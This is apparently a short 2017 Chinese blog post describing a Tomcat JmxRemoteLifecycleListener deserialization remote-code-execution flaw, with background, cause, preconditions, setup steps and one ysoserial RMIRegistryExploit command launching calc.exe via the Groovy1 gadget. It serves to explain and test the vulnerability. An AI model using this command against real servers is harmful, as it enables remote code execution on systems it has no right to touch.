美文网首页
Tomcat序列化(远程代码执行)漏洞——CVE-2016-87

Tomcat序列化(远程代码执行)漏洞——CVE-2016-87

作者: ssssssssssssanr | 来源:发表于2017-02-15 13:29 被阅读603次

漏洞背景

     Tomcat是运行在Apache上的应用服务器,支持运行Servlet/JSP应用程序的容器。Tomcat也可以看作是Apache的扩展,不过实际上Tomcat也可以独立于Apache运行。

漏洞描述

       Oracle修复了JmxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)。部分Tomcat用户可能使用了JmxRemoteLifecycleListener这个监听器,但是由于Tomcat并没有及时升级,所以存在这个远程代码执行漏洞。

漏洞原因

      漏洞最根本的原因是Tomcat配置JMX做监控的时候使用JmxRemoteLifecycleListener方式(tomcat使用jmx rmi做监控有两种方式)

      而JmxRemoteLifecycleListener底层使用了存在漏洞的groovy-2.3.9.jar包,导致了序列化漏洞(远程代码执行)。

利用条件

        需要支持开启JmxRemoteLifecycleListener方式,默认不开启

漏洞利用

        我测试软件已打包  (提取码:qXghV9) 需要自行在catalina.bat修改IP地址

     环境准备

      0.需要将catalina-jmx-remote.jar和groovy-2.3.9.jar包放到Tomcat/lib目录下

      1.修改 Tomcat/bin 目录下catalina.bat,添加以下内容(window为例)

       2.修改 tomcat server.xml 配置文件,添加以下内容

       3.攻击测试 

                java -cp ysoserial-master.jar ysoserial.exploit.RMIRegistryExploit 10.18.35.13x 8009 Groovy1 calc.exe

相关文章

网友评论

      本文标题:Tomcat序列化(远程代码执行)漏洞——CVE-2016-87

      本文链接:https://www.haomeiwen.com/subject/ayltwttx.html